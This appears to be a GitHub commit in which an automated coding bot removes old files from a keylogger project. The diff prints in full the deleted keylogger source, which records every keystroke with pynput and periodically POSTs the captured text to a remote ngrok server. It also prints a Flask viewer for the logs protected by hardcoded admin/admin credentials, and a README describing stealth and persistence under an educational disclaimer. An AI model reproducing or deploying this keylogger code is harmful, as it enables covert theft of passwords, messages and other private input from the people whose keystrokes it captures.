Remove old files and finalize directory structure

Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
2026-01-22 04:21:11 +00:00
parent b0246b4e6f
commit b7753bdce5
5 changed files with 2 additions and 407 deletions
+2 -1
View File
@@ -70,7 +70,8 @@ Thumbs.db
# Log files # Log files
*.log *.log
logs/ logs/*
!logs/.gitkeep
# ngrok # ngrok
ngrok ngrok
-179
View File
@@ -1,179 +0,0 @@
# Keylogger :)
[![Contributors](https://img.shields.io/github/contributors/Stalin-143/Keylogger?style=for-the-badge)](https://github.com/Stalin-143/Keylogger/graphs/contributors)
![WhatsApp Image 2024-11-29 at 11 35 30 PM](https://github.com/user-attachments/assets/689d466c-26d5-4830-8dba-48693ea04d01)
## Introduction
Welcome to the **Keylogger Project**! This project demonstrates how a keylogger operates. Keyloggers are tools that can record keystrokes made on a computer or device, capturing everything from passwords to personal messages. While they can be used for legitimate purposes, they are also often used by malicious actors for cybercrime.
### How to Use
1. Clone or download the repository.
2. Install the required dependencies.
3. Run the `key_logger.py` script to capture keystrokes.
4. Start the `web_server.py` to view and download the logs from the web interface.
### Requirements
- Python 3.x
- Flask (`pip install flask`)
- Requests (`pip install requests`)
### Usage Instructions
1. Set up the keylogger script:
- Run `key_logger.py` to start capturing keystrokes.
2. Start the Flask web server:
- Run `web_server.py` to launch the web interface for viewing and downloading logs.
## 📂 Project Structure
```
/keylogger-project
├── /assets
├── /logs
├── /scripts
│ ├── key_logger.py
│ └── web_server.py
├── /templates
│ └── index.html
├── /config
│ └── config.json
├── README.md
├── LICENSE
└── requirements.txt
```
## What is a Keylogger?
A **Keylogger** is a software or hardware tool designed to record every keystroke made by a user on a computer or device. It can capture sensitive information such as:
- **Usernames**
- **Passwords**
- **Credit card information**
- **Private messages**
Keyloggers are typically used by attackers to steal personal data or spy on users without their knowledge.
## Types of Keyloggers
There are two main types of keyloggers:
1. **Software Keyloggers**: These run in the background on a computer, recording keystrokes and often sending the data to an attacker remotely.
2. **Hardware Keyloggers**: These are physical devices that are plugged into a computer between the keyboard and the computer. They can capture keystrokes without needing software.
## Why Hackers Use Keyloggers
Hackers use keyloggers for several reasons:
1. **Stealing Personal Information**: Keyloggers can capture sensitive information such as usernames, passwords, and bank details.
2. **Credential Harvesting**: Attackers can use keyloggers to gather login credentials for unauthorized access.
3. **Spyware**: Keyloggers allow hackers to secretly monitor a user's activity without their consent.
4. **Social Engineering**: Keyloggers help attackers gather information to manipulate targets.
5. **Advanced Persistent Threats (APTs)**: Keyloggers are used as part of long-term cyberattacks to monitor and steal sensitive data.
## Keylogger Functionality
Keyloggers work by capturing every keystroke typed on a computer. The data is usually saved to a log file or sent to a remote server. Some keyloggers are highly sophisticated, using encryption and stealth techniques to avoid detection by antivirus programs.
### Keylogger Features:
- **Stealth Mode**: Runs silently in the background without alerting the user.
- **Data Storage**: Logs keystrokes in a local file or sends them remotely to an attacker.
- **Persistence**: Some keyloggers are designed to persist even after a system restart.
- **Key Masking**: They can disguise their presence by masking or renaming files.
## Legal Implications of Keyloggers
Using keyloggers for malicious purposes is **illegal** in most countries. Keyloggers are often used in **cybercrime** and **identity theft**. Here are some of the key laws regarding keyloggers:
- **Computer Fraud and Abuse Act (CFAA)** in the U.S. makes unauthorized access to computer systems illegal.
- **Wiretap Act** criminalizes intercepting communications without consent.
- **General Data Protection Regulation (GDPR)** in Europe requires explicit consent to collect personal data.
- **Cybersecurity Laws** in many countries make hacking, data theft, and unauthorized surveillance punishable by law.
### Consequences of Using Keyloggers Illegally:
- **Imprisonment**: In many jurisdictions, unauthorized use of keyloggers can result in severe criminal charges.
- **Fines**: Convicted individuals may face hefty fines, especially if the data stolen is used for financial gain.
- **Reputational Damage**: Being caught using a keylogger illegally can lead to significant harm to one's reputation.
## Ethical Considerations
While keyloggers are often associated with malicious hacking, they can have legitimate uses:
1. **Parental Control**: Parents use keyloggers to monitor their children's online activities.
2. **Employee Monitoring**: Employers may monitor their employees to ensure compliance with company policies.
3. **Security Testing**: Ethical hackers use keyloggers as part of penetration testing to identify vulnerabilities.
It is essential that **explicit consent** is obtained before using keyloggers for any purpose. Always ensure compliance with local laws and ethical guidelines.
## Keylogger in Cybersecurity
In the realm of **ethical hacking** and **penetration testing**, keyloggers are used to test the security of a system. Ethical hackers might deploy keyloggers as part of a broader security assessment. The goal is to discover vulnerabilities in a system and ensure sensitive data is protected.
### Ethical Use Cases:
- **Penetration Testing**: Keyloggers help identify security weaknesses and prevent future breaches.
- **System Auditing**: Businesses can use keyloggers to monitor user behavior and detect malicious activities.
## Privacy and Security Risks
Keyloggers pose significant risks to privacy and security:
- **Privacy Violations**: Keyloggers record everything typed, exposing personal data to unauthorized parties.
- **Identity Theft**: If hackers steal login credentials or other personal information, it can lead to identity theft or financial fraud.
- **Cyberattacks**: Keyloggers can be used as part of larger **phishing** or **malware** attacks.
## Conclusion
While keyloggers have legitimate uses in cybersecurity, they are often abused for malicious purposes, violating privacy and causing significant harm. Always ensure you have the proper authorization and legal basis before using any keylogger. Misuse of keyloggers can result in serious legal consequences.
### **Legal Disclaimer**
This project is intended for **educational purposes** only. Unauthorized use of keyloggers for malicious activities is illegal and punishable by law. Always obtain explicit consent before deploying monitoring tools and ensure compliance with local and international laws.
## How to Use This Keylogger Project
1. Clone or download the repository.
2. Install the required dependencies.
3. Set up the web server and keylogger script.
4. Customize the configuration for your use case (location of log file, ngrok URL, etc.).
5. **Run the keylogger** responsibly and ensure it is used **ethically**.
## Resources
- GitHub Repository: [Resource](https://github.com/Stalin-143)
- Related Articles on Ethical Hacking and Cybersecurity
## Contributions
Contributions are welcome! Please make sure to follow ethical guidelines and legal standards when contributing to this project.
See our [Contributors Hall of Fame](CONTRIBUTORS.md) to view all the amazing people who have contributed to this project! ✨
## 📜 License
This project is licensed under the [License](LICENSE)
**Disclaimer**: This project is intended for educational purposes only. Unauthorized use of keyloggers is illegal.
---
### 💰 You can help me by Donating
[![BuyMeACoffee](https://img.shields.io/badge/Buy%20Me%20a%20Coffee-ffdd00?style=for-the-badge&logo=buy-me-a-coffee&logoColor=black)](https://buymeacoffee.com/stalin143) [![PayPal](https://img.shields.io/badge/PayPal-00457C?style=for-the-badge&logo=paypal&logoColor=white)](https://paypal.me/stalinS143)
-103
View File
@@ -1,103 +0,0 @@
import logging
from pynput.keyboard import Listener, Key
import os
import requests
import time
print(r"""
_ __ _
| |/ /___ _ _ | | ___ __ _ __ _ ___ _ __
| ' // _ \ | | | | | / _ \ / _` |/ _` |/ _ \ '__|
| . \ __/ |_| | | |__| (_) | (_| | (_| | __/ |
|_|\_\___|\__, | |_____\___/ \__, |\__, |\___|_|
|___/ |___/ |___/
0.1
GitHub:https://github.com/Stalin-143
""")
# Ask user for the desired log file location
log_location = input("Please enter the full path for the log file (e.g., /path/to/logfile.txt): ")
# Ensure the log directory exists
log_dir = os.path.dirname(log_location)
if not os.path.exists(log_dir) and log_dir != "":
try:
os.makedirs(log_dir, exist_ok=True) # Allows creation if directory doesn't exist
except PermissionError as e:
print(f"PermissionError: {e}")
print("Please ensure you have permission to write to the specified path.")
exit()
# Configure logging to write to the specified location
logging.basicConfig(
filename=log_location,
level=logging.DEBUG,
format="%(asctime)s: %(message)s"
)
# Store the captured keys temporarily before sending them to the server
buffer = []
# Ask user for the ngrok server URL
url = input("Enter the ngrok server URL (e.g., https://xxxx-xxxx.ngrok-free.app): ")
# Function to send log data to the web server
def send_log_to_server():
global buffer
if buffer:
try:
log_data = ''.join(buffer)
response = requests.post(url, data={"log": log_data})
if response.status_code == 200:
print("Log sent successfully!")
else:
print(f"Failed to send log. Server responded with status: {response.status_code}")
# Clear the buffer after sending
buffer = []
except Exception as e:
print(f"Error sending log: {e}")
# Function to handle key press events
def on_press(key):
global buffer
try:
# Capture the key press and format it
if hasattr(key, 'char') and key.char is not None:
key_str = f"Key pressed: {key.char}"
else:
# Handle special keys
key_str = f"Special key pressed: {key}"
# Log the key
logging.info(key_str)
buffer.append(key_str + "\n") # Add to buffer
# If buffer reaches a certain size, send the log
if len(buffer) >= 10: # Adjust batch size as needed
send_log_to_server()
except Exception as e:
print(f"Error logging key: {e}")
# Function to handle key release events (optional)
def on_release(key):
# Stop listener when 'esc' is pressed
if key == Key.esc:
return False
# Start listening for keyboard events
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
# Send logs when the listener stops (or periodically if needed)
send_log_to_server()
View File
-124
View File
@@ -1,124 +0,0 @@
from flask import Flask, render_template_string, send_file, request, Response
import os
from functools import wraps
print(r"""
__ __ _ ____
\ \ / /__| |__ / ___| ___ _ ____ _____ _ __
\ \ /\ / / _ \ '_ \ \___ \ / _ \ '__\ \ / / _ \ '__|
\ V V / __/ |_) | ___) | __/ | \ V / __/ |
\_/\_/ \___|_.__/ |____/ \___|_| \_/ \___|_|
Github:https://github.com/Stalin-143
""")
app = Flask(__name__)
# Specify the location of the log file (this should be provided by the user)
log_file_path = input("Enter the file path: ")
# Change this as needed
# Basic Authentication
USERNAME = 'admin'
PASSWORD = 'admin'
# Function to prompt for username and password if not authenticated
def check_auth(username, password):
return username == USERNAME and password == PASSWORD
# Function to require authentication for routes
def authenticate():
return Response(
'Unauthorized Access. Please log in with correct credentials.', 401,
{'WWW-Authenticate': 'Basic realm="Login Required"'})
# Decorator to enforce authentication
def requires_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth or not check_auth(auth.username, auth.password):
return authenticate()
return f(*args, **kwargs)
return decorated
# HTML template to display the log contents and provide a download link
HTML_TEMPLATE = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Keylogger Log Viewer</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f0f0f0;
margin: 0;
padding: 20px;
}
h1 {
color: #333;
}
pre {
background-color: #fff;
padding: 15px;
border: 1px solid #ccc;
max-height: 400px;
overflow-y: scroll;
}
.button {
padding: 10px 15px;
background-color: #4CAF50;
color: white;
text-align: center;
border: none;
cursor: pointer;
margin-top: 20px;
text-decoration: none;
}
.button:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<h1>Log File: {{ log_file_path }}</h1>
<h2>Log File Contents:</h2>
<pre>{{ log_contents }}</pre>
<a href="{{ url_for('download_log') }}" class="button">Download Log File</a>
</body>
</html>
'''
# Route to display the log file contents and provide a download link
@app.route('/')
@requires_auth
def home():
if os.path.exists(log_file_path):
with open(log_file_path, 'r') as file:
log_contents = file.read()
else:
log_contents = "Log file not found."
return render_template_string(HTML_TEMPLATE, log_file_path=log_file_path, log_contents=log_contents)
# Route to download the log file
@app.route('/download')
@requires_auth
def download_log():
if os.path.exists(log_file_path):
return send_file(log_file_path, as_attachment=True)
return "Log file not found."
if __name__ == '__main__':
debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() in ['true', '1', 't']
app.run(debug=debug_mode)